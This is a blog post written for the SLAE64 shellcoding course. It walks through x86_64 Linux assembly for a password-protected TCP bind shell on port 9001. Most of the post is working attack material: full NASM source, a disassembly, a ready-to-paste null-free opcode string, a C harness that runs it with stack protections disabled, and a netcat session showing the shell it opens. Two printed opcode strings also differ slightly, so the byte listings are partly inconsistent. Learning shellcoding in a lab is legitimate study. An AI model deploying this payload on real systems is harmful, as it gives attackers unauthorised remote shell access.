SLAE64
SLAE64

This post introduces the first mission of my SLAE64 journey.

Introduction

The main goal for the first SLAE64 assignment is to develop a shellcode for bind TCP shell with the following requirements:

  • Binds to a port;
  • Teh user needs to provide a correct password
  • Executing a shell on incoming connection if thepassword is valid;
  • The shellcode should be null-free;

Past, present and Future

The exercises of SLAE64 are identical to the ones of SLAE32, so for the 64-bit version, I will have a more simple approach.

If you want more detailed explanations of some topics, please check the SLAE32-related post, as the principles and ideas are the same.

The diff between 32 and 64 bit versions

With the increase of memory space in 64-bit ISA, the main differences are mainly extending the general purpose registers to 64-bit size. eax, ebx, rcx, etc becomes rax, rbx, rcx, etc. More info here.

The calling conventions approach had a significant update. For the 64-bit, we have the System V ABII; when we call a syscall, the function arguments are first passed into the defined order of registers shown below.

syscall param 1 param 2 param 3 param 4 param 5 param 6
rax rdi rsi rdx r8 r9 r10

Other values are passed on the stack in reverse order, as in cdecl. The syscall number should be placed in rax. Also, the return value is stored in rax too.

For an x86_64 syscall reference you can use the file /usr/include/x86_64-linux-gnu/asm/uninstd_64.h

Creating a TCP Bind Shellcode

There is a lot of overlap information with my post regarding the SLAE32 TCP Bind Shellcode. I advise you to look at it if you haven’t done it already. There are some essential concepts and ideas to understand what and why the shellcode is doing.

The shellcode presented in this post is already changed to work with a custom password.

Marauder’s Map Password
Marauder's Map Password

The chosen password is isolemnlyswearthatiamuptonogood.

This a 31-byte size string, but our buffer has 32 bytes in size because of the newline byte when we press enter key.

We can leverage the helper script revHex64.py to output the password bytes ready to use.

revHex64.py
revHex64.py

Available at https://github.com/0xnibbles/slae_x86_64/blob/main/revHex64.py

For this assignment, I took the TCP Bind Shellcode used during the course as a reference. The shellcode had a lot of null bytes, so I needed to tweak the code a bit.

As the first task, let’s remove those null bytes.

Nulls? Get out of here!

Many nulls are because of a full register extension such as rax or eax when it only used a part of its bits.

For example:

40109a:	b8 21 00 00 00       	mov    eax,0x21

eax has 32 bits in size; when we move 0x21, we only need 1 byte (8 bits). The remaining bits are filled with nulls.

Let’s refactor this code.

After removing the null bytes, a little optimization to use less space and adding the ask password part to the final shellcode, becomes as follows:

; Student ID   : PA-31319
; Student Name : Eduardo Silva
; Assignment 1 : TCP Bind Shell (Linux/x86_64) Assembly
; File Name    : shell-bind-password.nasm

global _start


_start:

    jmp main
    ask_pass: db "Tell me the passcode", 0xa

main:

	; sock = socket(AF_INET, SOCK_STREAM, 0)
	; AF_INET = 2
	; SOCK_STREAM = 1
	; syscall number 41 

    xor rsi, rsi
    mul rsi

	add rax, 41
  push byte 0x2     ; use less space
	pop rdi
	inc rsi
	;xor rdx, rdx 
	syscall

	; copy socket descriptor to rdi for future use 

	xchg rdi, rax


	; server.sin_family = AF_INET 
	; server.sin_port = htons(PORT)
	; server.sin_addr.s_addr = INADDR_ANY
	; bzero(&server.sin_zero, 8)

	xor rax, rax 

    push rax             ; pushing 0.0.0.0 into in_addr
    push word 0x2923 ;little endian -> 9001 = 0x2329
                        ; byte first ... 0x115C is 4444)
    push word 0x2      ; AF_INET - which is 0x02

    mov rsi, rsp        ; moving stack address to rsi

    ; bind(sock, (struct sockaddr *)&server, sockaddr_len)
	; syscall number 49

    add rdx, 0x10         ;put 16 bytes  rdx - size of struct

    add rax, 0x31         ; set rax to sys_bind

    syscall             ; make the call to bind
                        ; socketid will be in rax

	; listen(sock, MAX_CLIENTS)
	; syscall number 50

	xor rax, rax        ; zero out rax

                        ; socketid already in rsi
    mov rdx, rax        ; zeroing out rdx
    add rdx, 0x01       ; moving backlog number to rdx

    add rax, 50         ; setting rax to sys_listen

    syscall             ; make call to listen


	; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
	; syscall number 43

	xor rax, rax        ; zero out rax

                        ; socketid already in rsi
    mov rsi, rax        ; moving null to rsi
    mov rdx, rax        ; moving null to rdx

    add rax, 43         ; setting rax to sys_connect

    syscall             ; make call to listen

    ; duplicate sockets

   ; sys_dup2

    xchg rdi, rax       ; moves clientid to rdi

    ; rax : sys_dup2 33
    ; rdi : already contains clientid
    ; rsi : 1 to 3 in loop

    xor r9, r9          ; zeroing out loop counter

    loopin:
        xor rax, rax    ; zero out rax
        add rax, 33     ; setting rax to sys_dup2
        mov rsi, r9     ; move fileid to duplicate
        syscall         ; call dup2
        inc r9          ; increase r9 by 0x01
        cmp r9, 3       ; compare r9 to 0x03
        jne loopin

    ; ############ asking for password ------------------------------

    password:

    ; sys_write
    ; rax : 1 - write syscall number
    ; rdi : unsigned int fd : 1 for stdout
    ; rsi : const char *buf : password buffer
    ; rdx : size_t count : password size
    xor rax, rax
    xor rdx, rdx ; or cqo??
    inc rax
    mov rdi, rax
    lea rsi, [rel ask_pass]
    mov dl, 21
    syscall


    ; sys_read
    ; rdi : unsigned int fd : 0 for stdin
    ; rsi : char *buf : stack?
    ; rdx : size_t count : how big

    xor rdx, rdx
    xor rax, rax
    xor rdi, rdi


    ; rax is already zero
    mov rsi, rsp
    add rdx, 32 ;password size
    syscall

    mov rdi, rsp
    xor rsi, rsi
    push rsi
    mov rsi, 0x0a646f6f676f6e6f ; \ndoogono  --> \n - new line byte = 0x0a
    push rsi
    mov rsi, 0x7470756d61697461 ; tpumaita
    push rsi
    mov rsi, 0x6874726165777379 ; htraewsy
    push rsi
    mov rsi, 0x6c6e6d656c6f7369 ; lnmelosi
    push rsi
    mov rsi, rsp                ; password buffer pointer
    xor rcx, rcx
    add rcx, 32                 ; 31 bytes for password and 1 byte for newline char
    repe cmpsb
    jne password


    ; ###### ------------------------------------------

    ; execve

    ; First NULL push

    xor rax, rax
    push rax

    ; push /bin//sh in reverse

    mov rbx, 0x68732f2f6e69622f
    push rbx

    ; store /bin//sh address in RDI

    mov rdi, rsp

    ; Second NULL push
    push rax

    ; set RDX
    mov rdx, rsp


    ; Push address of /bin//sh
    push rdi

    ; set RSI

    mov rsi, rsp

    ; Call the Execve syscall
    add rax, 59
    syscall

We can verify the shellcode does not have null bytes as shown below with objdump

objdump -M intel -d shell-bind-password

shell-bind-password:     file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
  401000:	eb 15                	jmp    401017 <main>

0000000000401002 <ask_pass>:
  401002:	54                   	push   rsp
  401003:	65 6c                	gs ins BYTE PTR es:[rdi],dx
  401005:	6c                   	ins    BYTE PTR es:[rdi],dx
  401006:	20 6d 65             	and    BYTE PTR [rbp+0x65],ch
  401009:	20 74 68 65          	and    BYTE PTR [rax+rbp*2+0x65],dh
  40100d:	20 70 61             	and    BYTE PTR [rax+0x61],dh
  401010:	73 73                	jae    401085 <password+0x9>
  401012:	63 6f 64             	movsxd ebp,DWORD PTR [rdi+0x64]
  401015:	65                   	gs
  401016:	0a                   	.byte 0xa

0000000000401017 <main>:
  401017:	48 31 f6             	xor    rsi,rsi
  40101a:	48 f7 e6             	mul    rsi
  40101d:	48 83 c0 29          	add    rax,0x29
  401021:	6a 02                	push   0x2
  401023:	5f                   	pop    rdi
  401024:	48 ff c6             	inc    rsi
  401027:	0f 05                	syscall 
  401029:	48 97                	xchg   rdi,rax
  40102b:	48 31 c0             	xor    rax,rax
  40102e:	50                   	push   rax
  40102f:	66 68 23 29          	pushw  0x2923
  401033:	66 6a 02             	pushw  0x2
  401036:	48 89 e6             	mov    rsi,rsp
  401039:	48 83 c2 10          	add    rdx,0x10
  40103d:	48 83 c0 31          	add    rax,0x31
  401041:	0f 05                	syscall 
  401043:	48 31 c0             	xor    rax,rax
  401046:	48 89 c2             	mov    rdx,rax
  401049:	48 83 c2 01          	add    rdx,0x1
  40104d:	48 83 c0 32          	add    rax,0x32
  401051:	0f 05                	syscall 
  401053:	48 31 c0             	xor    rax,rax
  401056:	48 89 c6             	mov    rsi,rax
  401059:	48 89 c2             	mov    rdx,rax
  40105c:	48 83 c0 2b          	add    rax,0x2b
  401060:	0f 05                	syscall 
  401062:	48 97                	xchg   rdi,rax
  401064:	4d 31 c9             	xor    r9,r9

0000000000401067 <loopin>:
  401067:	48 31 c0             	xor    rax,rax
  40106a:	48 83 c0 21          	add    rax,0x21
  40106e:	4c 89 ce             	mov    rsi,r9
  401071:	0f 05                	syscall 
  401073:	49 ff c1             	inc    r9
  401076:	49 83 f9 03          	cmp    r9,0x3
  40107a:	75 eb                	jne    401067 <loopin>

000000000040107c <password>:
  40107c:	48 31 c0             	xor    rax,rax
  40107f:	48 31 d2             	xor    rdx,rdx
  401082:	48 ff c0             	inc    rax
  401085:	48 89 c7             	mov    rdi,rax
  401088:	48 8d 35 73 ff ff ff 	lea    rsi,[rip+0xffffffffffffff73]        # 401002 <ask_pass>
  40108f:	b2 15                	mov    dl,0x15
  401091:	0f 05                	syscall 
  401093:	48 31 d2             	xor    rdx,rdx
  401096:	48 31 c0             	xor    rax,rax
  401099:	48 31 ff             	xor    rdi,rdi
  40109c:	48 89 e6             	mov    rsi,rsp
  40109f:	48 83 c2 20          	add    rdx,0x20
  4010a3:	0f 05                	syscall 
  4010a5:	48 89 e7             	mov    rdi,rsp
  4010a8:	48 31 f6             	xor    rsi,rsi
  4010ab:	56                   	push   rsi
  4010ac:	48 be 6f 6e 6f 67 6f 	movabs rsi,0xa646f6f676f6e6f
  4010b3:	6f 64 0a 
  4010b6:	56                   	push   rsi
  4010b7:	48 be 61 74 69 61 6d 	movabs rsi,0x7470756d61697461
  4010be:	75 70 74 
  4010c1:	56                   	push   rsi
  4010c2:	48 be 79 73 77 65 61 	movabs rsi,0x6874726165777379
  4010c9:	72 74 68 
  4010cc:	56                   	push   rsi
  4010cd:	48 be 69 73 6f 6c 65 	movabs rsi,0x6c6e6d656c6f7369
  4010d4:	6d 6e 6c 
  4010d7:	56                   	push   rsi
  4010d8:	48 89 e6             	mov    rsi,rsp
  4010db:	48 31 c9             	xor    rcx,rcx
  4010de:	80 c1 20             	add    cl,0x20
  4010e1:	f3 a6                	repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
  4010e3:	75 97                	jne    40107c <password>
  4010e5:	48 31 c0             	xor    rax,rax
  4010e8:	50                   	push   rax
  4010e9:	48 bb 2f 62 69 6e 2f 	movabs rbx,0x68732f2f6e69622f
  4010f0:	2f 73 68 
  4010f3:	53                   	push   rbx
  4010f4:	48 89 e7             	mov    rdi,rsp
  4010f7:	50                   	push   rax
  4010f8:	48 89 e2             	mov    rdx,rsp
  4010fb:	57                   	push   rdi
  4010fc:	48 89 e6             	mov    rsi,rsp
  4010ff:	48 83 c0 3b          	add    rax,0x3b
  401103:	0f 05                	syscall 

From the output we can verify the null bytes were gone effectively.

Compiling and Testing the Shellcode

To be easier to compile my shellcode scripts and get the size and the opcodes I’ll use the 64-bit version of assembler.sh.

Available in https://github.com/0xnibbles/slae_x86_64/blob/main/assembler.sh

Checking assembler.sh output

╭─edu@debian ~/Desktop/slae_x86_64/assignments/1-shell-bind-tcp-password-shellcode ‹main●› 
╰─$ ../../assembler.sh shell-bind-password.nasm                                                                                                                                                              130
[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done


Shellcode size: 262

"\xeb\x15\x54\x65\x6c\x6c\x20\x6d\x65\x20\x74\x68\x65\x20\x70\x61\x73\x73\x63\x6f\x64\x65\x0a\x48\x31\xf6\x48\xf7\xe6\x48\x83\xc0\x29\x6a\x02\x5f\x48\xff\xc6\x0f\x05\x48\x97\x48\x31\xc0\x50\x66\x68\x23\x29\x66\x6a\x02\x48\x89\xe6\x48\x83\xc2\x10\x48\x83\xc0\x31\x0f\x05\x48\x31\xc0\x48\x89\xc2\x48\x83\xc2\x01\x48\x83\xc0\x32\x0f\x05\x48\x31\xc0\x48\x89\xc6\x48\x89\xc2\x48\x83\xc0\x2b\x0f\x05\x48\x97\x4d\x31\xc9\x48\x31\xc0\x48\x83\xc0\x21\x4c\x89\xce\x0f\x05\x49\xff\xc1\x49\x83\xf9\x03\x75\xeb\x48\x31\xc0\x48\x31\xd2\x48\xff\xc0\x48\x89\xc7\x48\x8d\x35\x73\xff\xff\xff\xb2\x15\x0f\x05\x48\x31\xd2\x48\x31\xc0\x48\x31\xff\x48\x89\xe6\x48\x83\xc2\x20\x0f\x05\x48\x89\xe7\x48\x31\xf6\x56\x48\xbe\x6f\x6e\x6f\x67\x6f\x6f\x64\x0a\x56\x48\xbe\x61\x74\x69\x61\x6d\x75\x70\x74\x56\x48\xbe\x79\x73\x77\x65\x61\x72\x74\x68\x56\x48\xbe\x69\x73\x6f\x6c\x65\x6d\x6e\x6c\x56\x48\x89\xe6\x48\x31\xc9\x48\x83\xc1\x20\xf3\xa6\x75\x96\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"

--------------------
[*] Hack the World!
--------------------

No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x15\x54\x65\x6c\x6c\x20\x6d\x65\x20\x74\x68\x65\x20\x70\x61\x73\x73\x63\x6f\x64\x65\x0a\x48\x31\xf6\x48\xf7\xe6\x48\x83\xc0\x29\x6a\x02\x5f\x48\xff\xc6\x0f\x05\x48\x97\x48\x31\xc0\x50\x66\x68\x23\x29\x66\x6a\x02\x48\x89\xe6\x48\x83\xc2\x10\x48\x83\xc0\x31\x0f\x05\x48\x31\xc0\x48\x89\xc2\x48\x83\xc2\x01\x48\x83\xc0\x32\x0f\x05\x48\x31\xc0\x48\x89\xc6\x48\x89\xc2\x48\x83\xc0\x2b\x0f\x05\x48\x97\x4d\x31\xc9\x48\x31\xc0\x48\x83\xc0\x21\x4c\x89\xce\x0f\x05\x49\xff\xc1\x49\x83\xf9\x03\x75\xeb\x48\x31\xc0\x48\x31\xd2\x48\xff\xc0\x48\x89\xc7\x48\x8d\x35\x73\xff\xff\xff\xb2\x15\x0f\x05\x48\x31\xd2\x48\x31\xc0\x48\x31\xff\x48\x89\xe6\x48\x83\xc2\x20\x0f\x05\x48\x89\xe7\x48\x31\xf6\x56\x48\xbe\x6f\x6e\x6f\x67\x6f\x6f\x64\x0a\x56\x48\xbe\x61\x74\x69\x61\x6d\x75\x70\x74\x56\x48\xbe\x79\x73\x77\x65\x61\x72\x74\x68\x56\x48\xbe\x69\x73\x6f\x6c\x65\x6d\x6e\x6c\x56\x48\x89\xe6\x48\x31\xc9\x80\xc1\x20\xf3\xa6\x75\x97\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";

main() {

	printf("Shellcode Length: %d\n", strlen(code));
	int (*ret)() = (int(*)())code;

	ret();

}

Compiling with gcc and executing it

╭─edu@debian ~/Desktop/slae_x86_64/assignments/1-shell-bind-tcp-password-shellcode ‹main●› 
╰─$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c 
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
 main() {
 ^~~~

╭─edu@debian ~/Desktop/slae_x86_64/assignments/1-shell-bind-tcp-password-shellcode ‹main●› 
╰─$ ./shellcode
Shellcode Length: 262

---------------

╭─edu@debian ~/Desktop/slae_x86_64/assignments/1-shell-bind-tcp-password-shellcode ‹main●› 
╰─$ nc -nv 127.0.0.1 9001 
(UNKNOWN) [127.0.0.1] 9001 (?) open
Tell me the passcode
dasdhja
Tell me the passcode
isolemnlyswearthatiamuptonogood
whoami
edu
id
uid=1000(edu) gid=1000(edu) groups=1000(edu) ...

Oh yeah! The shellcode checks correctly for the right password and spawns a shell!


This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64): https://www.pentesteracademy.com/course?id=7

Student ID: PA-31319

All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86_64